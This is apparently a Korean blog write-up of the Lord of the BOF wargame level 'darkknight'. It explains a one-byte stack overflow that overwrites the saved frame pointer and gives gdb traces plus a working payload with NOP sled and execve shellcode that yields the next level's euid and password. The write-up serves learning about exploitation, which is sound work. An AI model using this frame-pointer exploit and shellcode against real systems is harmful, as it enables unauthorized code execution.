Wargame/Hackerchool

[lob] golem -> darkknight

wyv3rn 2022. 9. 15. 07:51
728x90
반응형

1. intro

 

2. code 및 분석

2.1  C code

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }

        problem_child(argv[1]);
}

 

2.3. 분석

2.3.1. assembler code (중요 부분)

argv[1]을 인자로 problem_child 함수를 실행한다.

0x8048490 <main+36>:    mov    0xc(%ebp),%eax
0x8048493 <main+39>:    add    $0x4,%eax
0x8048496 <main+42>:    mov    (%eax),%edx
0x8048498 <main+44>:    push   %edx
0x8048499 <main+45>:    call   0x8048440 <problem_child>

해당 함수 내에서는 argv[1]을 problem_child 내의 버퍼에 복사하는데, 0x28 bytes의 공간을 확보하고 0x29 bytes만 복사한다.

0x8048443 <problem_child+3>:    sub    $0x28,%esp
0x8048446 <problem_child+6>:    push   $0x29
0x8048448 <problem_child+8>:    mov    0x8(%ebp),%eax
0x804844b <problem_child+11>:   push   %eax
0x804844c <problem_child+12>:   lea    0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>:   push   %eax
0x8048450 <problem_child+16>:   call   0x8048374 <strncpy>

 

3. 취약점 확인 및 공격 준비

3.1 취약점

지금까지 했던 ret address 변조가 아닌 sfp 변조를 통한 공격이다.

ret address 변조는 함수가 종료되어 이전 함수로 되돌아가기 위한 주소가 담겨있다면

sfp는 이전 함수의 ebp 값을 담고 있다.

만일 sfp 변조가 가능하다면 이전 함수의 ebp를 변조하게되고, 이는 이전 함수로 돌아간 뒤 후속 흐름에 영향을 주게 된다.

 

3.2 공격 준비

취약점에 따라 다시 생각해보면 main 함수의 마지막에 problem_child 함수가 실행된다.

스택은 높은 주소에서 낮은 주소로 쌓이기에, 대략적으로 프로그램의 흐름에 따라 스택의 모양을 예상해보면

main 함수 실행 중

낮은 주소
main esp
main buffer
main ebp
main ret
높은 주소

와 같은 모양일 것이다.

이후 problem_child 함수로 들어가면 함수의 프롤로그와 같이 

0x8048440 <problem_child>:      push   %ebp
0x8048441 <problem_child+1>:    mov    %esp,%ebp

로 인해 main 함수의 ebp를 stack에 저장하게 된다.

그러므로 stack의 모양은 아래와 같을 것이다.

낮은 주소
problem_child esp
problem_child buffer
problem_child sfp = problem_child 
problem_child ret = main sfp
main esp
main buffer
main sfp = main ebp
main ret
높은 주소

그러므로 problem_child 함수의 ret address를 변조하면 main 함수를 돌아갈때 main 함수의 ebp가 변조되며, 변조된 주소 다음의 값을 ret address로 참조할 것이다.

 

실제로 시도해보면 아래와 같으며,

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/golem/darkknigha `python -c 'print "A"*0x30'`
/bin/bash2: /home/skeleton/.bashrc: Permission denied
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒5▒▒▒▒▒▒▒▒  @

Breakpoint 1, 0x8048469 in problem_child ()
(gdb) x/x $ebp
0xbffffacc:     0xbffffa41
(gdb) x/x $ebp+4
0xbffffad0:     0x0804849e
(gdb) x/x 0xbffffa41+4
0xbffffa45:     0x60401081
(gdb) ni #problem_child의 leave 실행.
0x804846a in problem_child ()
(gdb) si #problem_child의 ret 실행. 즉 main 함수로 되돌아옴.
0x804849e in main ()
(gdb) x/x $ebp
0xbffffa41:     0xec4000a7
(gdb) ni #main의 add    $0x4,%esp 실행.
0x80484a1 in main ()
(gdb) ni #main의 leave 실행
0x80484a2 in main ()
(gdb) ni #main의 ret 실행
warning: Cannot insert breakpoint 0:
Cannot access memory at address 0x244000ae
(gdb) x/x $eip
0x60401081:     Cannot access memory at address 0x60401081

main 함수 종료 시 0xbffffa41+4의 주소를 return address로 사용함을 알 수 있다.

현재 프로그램에서는 argv[1]의 크기에 대한 제약은 없으니 이를 이용해서 페이로드를 구성해보면

dummy 0x28 + 0xbffffa??에 넣을 1 byte + 적절한 dummy + shellcode

가 될 것이다.

대략 아래와 같이 값 전달 및 problem_child call 직후 0xbffffa00 위치부터 값을 보았더니 argv[1]의 위치를 찾을 수 있었다.

(gdb) b *main+53
Breakpoint 5 at 0x80484a1
(gdb) r `python -c 'print "A"*0x28 + "\xaa" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`

Starting program: /home/golem/darkknigha `python -c 'print "A"*0x28 + "\xaa" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
/bin/bash2: /home/skeleton/.bashrc: Permission denied
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒  @

Breakpoint 5, 0x80484a1 in main ()
(gdb) x/40x 0xbffffa00
0xbffffa00:     0x4000a74e      0x401081ec      0x4000ae60      0xbffffae4
0xbffffa10:     0x400143e0      0x40021df0      0x401088c0      0x4002982c
0xbffffa20:     0x40021df0      0xbffffa54      0x4000a970      0xbffffc19
0xbffffa30:     0xbffffa8c      0x4005d920      0x400143e0      0xbffffa54
0xbffffa40:     0x40066070      0x40106980      0x08048500      0xbffffa64
0xbffffa50:     0x401081ec      0xbffffa8c      0x08048466      0x08048500
0xbffffa60:     0xbffffa64      0x41414141      0x41414141      0x41414141
0xbffffa70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa80:     0x41414141      0x41414141      0x41414141      0xbffffaaa
0xbffffa90:     0x0804849e      0xbffffbf0      0xbffffab8      0x400309cb

 

4. exploit

위 분석을 토대로 아래와 같이 시도하였다.

[golem@localhost golem]$ ./darkknigha `python -c 'print "A"*0x28 + "\x70" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp▒▒▒▒▒▒▒▒▒▒▒▒▒  @
Segmentation fault
[golem@localhost golem]$ ./darkknigha `python -c 'print "A"*0x28 + "\x80" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒  @
Segmentation fault
[golem@localhost golem]$ ./darkknigha `python -c 'print "A"*0x28 + "\x90" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒  @
euid = 511
cup of coffee
[golem@localhost golem]$ ./darkknight `python -c 'print "A"*0x28 + "\x90" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒  @
euid = 512
new attacker
728x90
반응형